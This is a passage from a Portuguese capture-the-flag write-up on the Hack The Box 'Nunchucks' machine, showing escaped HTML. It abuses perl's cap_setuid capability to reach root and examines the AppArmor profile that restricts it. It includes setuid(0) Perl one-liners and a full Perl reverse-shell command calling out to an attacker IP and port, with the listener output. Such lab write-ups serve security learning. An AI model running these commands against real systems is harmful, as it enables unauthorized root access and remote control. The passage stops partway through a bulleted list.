&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="nv"&gt;Files&lt;/span&gt; &lt;span class="nv"&gt;with&lt;/span&gt; &lt;span class="nv"&gt;capabilities&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;limited&lt;/span&gt; &lt;span class="nv"&gt;to&lt;/span&gt; &lt;span class="mi"&gt;50&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
&lt;span class="sr"&gt;/usr/&lt;/span&gt;&lt;span class="nv"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;perl&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nv"&gt;cap_setuid&lt;/span&gt;&lt;span class="o"&gt;+&lt;/span&gt;&lt;span class="nv"&gt;ep&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O binário do perl possui a capabilitie &lt;strong&gt;cap_setuid&lt;/strong&gt;, que permite que seja setado o uid através do binário perl, permitindo usuários sem privilégios executarem (+ep).&lt;/p&gt;

&lt;p&gt;&lt;a href="https://man7.org/linux/man-pages/man2/setuid.2.html" rel="noopener noreferrer"&gt;setuid(2) - Linux manual page&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Podemos testar a execução de alguns comandos utilizando o perl via linha de comando que ver o que conseguimos executar como root:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;david@nunchucks:&lt;/span&gt;&lt;span class="sr"&gt;/tmp$ /us&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="sr"&gt;/bin/p&lt;/span&gt;&lt;span class="nv"&gt;erl&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;e&lt;/span&gt; &lt;span class="p"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";&lt;/span&gt;&lt;span class="p"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O comando acima, assim como o script de backup, seta o uid para 0, que é do usuário root e executa o &lt;strong&gt;/bin/bash&lt;/strong&gt; para criar um novo shell como root. Mas sem sucesso.&lt;/p&gt;

&lt;p&gt;Ao alterar o comando para &lt;strong&gt;whoami&lt;/strong&gt; temos sucesso:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;david@nunchucks:&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;tmp&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="nv"&gt;id&lt;/span&gt;
&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;david&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;david&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;david&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;david@nunchucks:&lt;/span&gt;&lt;span class="sr"&gt;/tmp$ /us&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="sr"&gt;/bin/p&lt;/span&gt;&lt;span class="nv"&gt;erl&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;e&lt;/span&gt; &lt;span class="p"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;use POSIX qw(setuid); POSIX::setuid(0); exec "whoami";&lt;/span&gt;&lt;span class="p"&gt;'&lt;/span&gt;
&lt;span class="nv"&gt;root&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mas outros comandos para tentar executar um shell não funciona, como por exemplo o seguinte:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;david@nunchucks:&lt;/span&gt;&lt;span class="sr"&gt;/tmp$ /us&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="sr"&gt;/bin/p&lt;/span&gt;&lt;span class="nv"&gt;erl&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;e&lt;/span&gt; &lt;span class="p"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;use POSIX qw(setuid); POSIX::setuid(0); use Socket;$i="10.10.14.128";$p=9002;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,"&amp;gt;&amp;amp;S");open(STDOUT,"&amp;gt;&amp;amp;S");open(STDERR,"&amp;gt;&amp;amp;S");exec("/bin/bash -i");};&lt;/span&gt;&lt;span class="p"&gt;'&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O comando acima tenta após setar o user id para 0 criar uma conexão reversa com a nossa máquina na porta &lt;strong&gt;9002&lt;/strong&gt; (que estamos ouvindo através do &lt;strong&gt;pwncat&lt;/strong&gt; em outra aba do terminal).&lt;/p&gt;

&lt;p&gt;A conexão é enviada para nosso pwncat, mas ela é encerrada logo em seguida:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;┌──&lt;span class="o"&gt;(&lt;/span&gt;root㉿kali&lt;span class="o"&gt;)&lt;/span&gt;-[~kali/hackthebox/machines-linux/nunchucks]
└─# pwncat-cs &lt;span class="nt"&gt;-lp&lt;/span&gt; 9002
&lt;span class="o"&gt;[&lt;/span&gt;09:48:04] Welcome to pwncat 🐈!                                                                                                          __main__.py:164
&lt;span class="o"&gt;[&lt;/span&gt;13:45:32] received connection from 10.129.95.252:37184                                                                                         bind.py:84
&lt;span class="o"&gt;[&lt;/span&gt;13:45:32] connection failed: channel unexpectedly closed                                                                                  manager.py:957
&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;local&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt; pwncat&lt;span class="err"&gt;$&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Aqui temos uma pergunta a ser respondida, por que alguns comandos funcionam e outros não.&lt;/p&gt;

&lt;p&gt;Vemos que conseguimos executar o comando id também:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;david@nunchucks:&lt;/span&gt;&lt;span class="sr"&gt;/tmp$ /us&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="sr"&gt;/bin/p&lt;/span&gt;&lt;span class="nv"&gt;erl&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;e&lt;/span&gt; &lt;span class="p"&gt;'&lt;/span&gt;&lt;span class="s1"&gt;use POSIX qw(setuid); POSIX::setuid(0); exec "id";&lt;/span&gt;&lt;span class="p"&gt;'&lt;/span&gt;
&lt;span class="nv"&gt;uid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;root&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;gid&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;david&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;groups&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;david&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Não obtivemos sucesso tentando executar um script ou um simples cat.&lt;/p&gt;

&lt;p&gt;Existem regras que podem limitar a execução em binários, através do &lt;strong&gt;SELinux&lt;/strong&gt; ou &lt;strong&gt;Apparmor&lt;/strong&gt;. Em nosso caso é o Appamor, por se tratar de um ubuntu.&lt;/p&gt;

&lt;p&gt;Verificando o apparmor encontramos a seguinte regra:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight perl"&gt;&lt;code&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;david@nunchucks:&lt;/span&gt;&lt;span class="sr"&gt;/etc/appa&lt;/span&gt;&lt;span class="nv"&gt;rmor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;d&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="nv"&gt;ls&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;alh&lt;/span&gt;
&lt;span class="nv"&gt;total&lt;/span&gt; &lt;span class="mi"&gt;72&lt;/span&gt;&lt;span class="nv"&gt;K&lt;/span&gt;
&lt;span class="nv"&gt;drwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;   &lt;span class="mi"&gt;7&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="mf"&gt;4.0&lt;/span&gt;&lt;span class="nv"&gt;K&lt;/span&gt; &lt;span class="nv"&gt;Oct&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt;  &lt;span class="mi"&gt;2021&lt;/span&gt; &lt;span class="o"&gt;.&lt;/span&gt;
&lt;span class="nv"&gt;drwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt; &lt;span class="mi"&gt;125&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt;  &lt;span class="mi"&gt;12&lt;/span&gt;&lt;span class="nv"&gt;K&lt;/span&gt; &lt;span class="nv"&gt;Oct&lt;/span&gt; &lt;span class="mi"&gt;29&lt;/span&gt;  &lt;span class="mi"&gt;2021&lt;/span&gt; &lt;span class="o"&gt;..&lt;/span&gt;
&lt;span class="nv"&gt;drwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;   &lt;span class="mi"&gt;4&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="mf"&gt;4.0&lt;/span&gt;&lt;span class="nv"&gt;K&lt;/span&gt; &lt;span class="nv"&gt;Oct&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt;  &lt;span class="mi"&gt;2021&lt;/span&gt; &lt;span class="nv"&gt;abstractions&lt;/span&gt;
&lt;span class="nv"&gt;drwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;   &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="mf"&gt;4.0&lt;/span&gt;&lt;span class="nv"&gt;K&lt;/span&gt; &lt;span class="nv"&gt;Oct&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt;  &lt;span class="mi"&gt;2021&lt;/span&gt; &lt;span class="nv"&gt;disable&lt;/span&gt;
&lt;span class="nv"&gt;drwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;   &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="mf"&gt;4.0&lt;/span&gt;&lt;span class="nv"&gt;K&lt;/span&gt; &lt;span class="nv"&gt;Oct&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt;  &lt;span class="mi"&gt;2021&lt;/span&gt; &lt;span class="nv"&gt;force&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;complain&lt;/span&gt;
&lt;span class="nv"&gt;drwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;   &lt;span class="mi"&gt;2&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="mf"&gt;4.0&lt;/span&gt;&lt;span class="nv"&gt;K&lt;/span&gt; &lt;span class="nv"&gt;Oct&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt;  &lt;span class="mi"&gt;2021&lt;/span&gt; &lt;span class="nb"&gt;local&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;   &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="mf"&gt;1.3&lt;/span&gt;&lt;span class="nv"&gt;K&lt;/span&gt; &lt;span class="nv"&gt;May&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;  &lt;span class="mi"&gt;2020&lt;/span&gt; &lt;span class="nv"&gt;lsb_release&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;   &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="mf"&gt;1.1&lt;/span&gt;&lt;span class="nv"&gt;K&lt;/span&gt; &lt;span class="nv"&gt;May&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;  &lt;span class="mi"&gt;2020&lt;/span&gt; &lt;span class="nv"&gt;nvidia_modprobe&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;   &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="mf"&gt;3.2&lt;/span&gt;&lt;span class="nv"&gt;K&lt;/span&gt; &lt;span class="nv"&gt;Mar&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;  &lt;span class="mi"&gt;2020&lt;/span&gt; &lt;span class="nv"&gt;sbin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;dhclient&lt;/span&gt;
&lt;span class="nv"&gt;drwxr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;xr&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;x&lt;/span&gt;   &lt;span class="mi"&gt;5&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="mf"&gt;4.0&lt;/span&gt;&lt;span class="nv"&gt;K&lt;/span&gt; &lt;span class="nv"&gt;Oct&lt;/span&gt; &lt;span class="mi"&gt;28&lt;/span&gt;  &lt;span class="mi"&gt;2021&lt;/span&gt; &lt;span class="nv"&gt;tunables&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;   &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="mf"&gt;3.2&lt;/span&gt;&lt;span class="nv"&gt;K&lt;/span&gt; &lt;span class="nv"&gt;Feb&lt;/span&gt; &lt;span class="mi"&gt;25&lt;/span&gt;  &lt;span class="mi"&gt;2020&lt;/span&gt; &lt;span class="nv"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;man&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;   &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt;  &lt;span class="mi"&gt;442&lt;/span&gt; &lt;span class="nv"&gt;Sep&lt;/span&gt; &lt;span class="mi"&gt;26&lt;/span&gt;  &lt;span class="mi"&gt;2021&lt;/span&gt; &lt;span class="nv"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;perl&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;   &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt;  &lt;span class="mi"&gt;672&lt;/span&gt; &lt;span class="nv"&gt;Feb&lt;/span&gt; &lt;span class="mi"&gt;19&lt;/span&gt;  &lt;span class="mi"&gt;2020&lt;/span&gt; &lt;span class="nv"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;sbin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;ippusbxd&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;   &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="mf"&gt;2.0&lt;/span&gt;&lt;span class="nv"&gt;K&lt;/span&gt; &lt;span class="nv"&gt;Jul&lt;/span&gt; &lt;span class="mi"&gt;22&lt;/span&gt;  &lt;span class="mi"&gt;2021&lt;/span&gt; &lt;span class="nv"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;sbin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;mysqld&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;   &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="mf"&gt;1.6&lt;/span&gt;&lt;span class="nv"&gt;K&lt;/span&gt; &lt;span class="nv"&gt;Feb&lt;/span&gt; &lt;span class="mi"&gt;11&lt;/span&gt;  &lt;span class="mi"&gt;2020&lt;/span&gt; &lt;span class="nv"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;sbin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;rsyslogd&lt;/span&gt;
&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;rw&lt;/span&gt;&lt;span class="o"&gt;-&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;&lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="o"&gt;--&lt;/span&gt;   &lt;span class="mi"&gt;1&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="nv"&gt;root&lt;/span&gt; &lt;span class="mf"&gt;1.4&lt;/span&gt;&lt;span class="nv"&gt;K&lt;/span&gt; &lt;span class="nv"&gt;Dec&lt;/span&gt;  &lt;span class="mi"&gt;7&lt;/span&gt;  &lt;span class="mi"&gt;2019&lt;/span&gt; &lt;span class="nv"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;sbin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;tcpdump&lt;/span&gt;
&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nv"&gt;remote&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="nv"&gt;david@nunchucks:&lt;/span&gt;&lt;span class="sr"&gt;/etc/appa&lt;/span&gt;&lt;span class="nv"&gt;rmor&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;d&lt;/span&gt;&lt;span class="err"&gt;$&lt;/span&gt; &lt;span class="nv"&gt;cat&lt;/span&gt; &lt;span class="nv"&gt;usr&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;perl&lt;/span&gt; 
&lt;span class="c1"&gt;# Last Modified: Tue Aug 31 18:25:30 2021&lt;/span&gt;
&lt;span class="c1"&gt;#include &amp;lt;tunables/global&amp;gt;&lt;/span&gt;

&lt;span class="sr"&gt;/usr/&lt;/span&gt;&lt;span class="nv"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;perl&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="c1"&gt;#include &amp;lt;abstractions/base&amp;gt;&lt;/span&gt;
  &lt;span class="c1"&gt;#include &amp;lt;abstractions/nameservice&amp;gt;&lt;/span&gt;
  &lt;span class="c1"&gt;#include &amp;lt;abstractions/perl&amp;gt;&lt;/span&gt;

  &lt;span class="nv"&gt;capability&lt;/span&gt; &lt;span class="nv"&gt;setuid&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

  &lt;span class="nv"&gt;deny&lt;/span&gt; &lt;span class="nv"&gt;owner&lt;/span&gt; &lt;span class="sr"&gt;/etc/nss&lt;/span&gt;&lt;span class="nv"&gt;witch&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;conf&lt;/span&gt; &lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nv"&gt;deny&lt;/span&gt; &lt;span class="sr"&gt;/root/&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="nv"&gt;rwx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nv"&gt;deny&lt;/span&gt; &lt;span class="sr"&gt;/etc/s&lt;/span&gt;&lt;span class="nv"&gt;hadow&lt;/span&gt; &lt;span class="nv"&gt;rwx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

  &lt;span class="sr"&gt;/usr/&lt;/span&gt;&lt;span class="nv"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;id&lt;/span&gt; &lt;span class="nv"&gt;mrix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="sr"&gt;/usr/&lt;/span&gt;&lt;span class="nv"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;ls&lt;/span&gt; &lt;span class="nv"&gt;mrix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="sr"&gt;/usr/&lt;/span&gt;&lt;span class="nv"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;cat&lt;/span&gt; &lt;span class="nv"&gt;mrix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="sr"&gt;/usr/&lt;/span&gt;&lt;span class="nv"&gt;bin&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt;&lt;span class="nv"&gt;whoami&lt;/span&gt; &lt;span class="nv"&gt;mrix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="sr"&gt;/opt/&lt;/span&gt;&lt;span class="nv"&gt;backup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="nv"&gt;pl&lt;/span&gt; &lt;span class="nv"&gt;mrix&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nv"&gt;owner&lt;/span&gt; &lt;span class="sr"&gt;/home/&lt;/span&gt; &lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
  &lt;span class="nv"&gt;owner&lt;/span&gt; &lt;span class="sr"&gt;/home/da&lt;/span&gt;&lt;span class="nv"&gt;vid&lt;/span&gt;&lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="nv"&gt;r&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;

&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O apparmor é um MAC (Mandatory Access Control) que é implementado no kernel do linux visando controlar e limitar determinados recursos, como programas, binários e etc. &lt;/p&gt;

&lt;p&gt;Continuando na saga para escalar privilégios para root podemos ponderar alguns pontos:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Somente determinados comandos conseguem ser executados devido ao apparmor&lt;/li&gt;
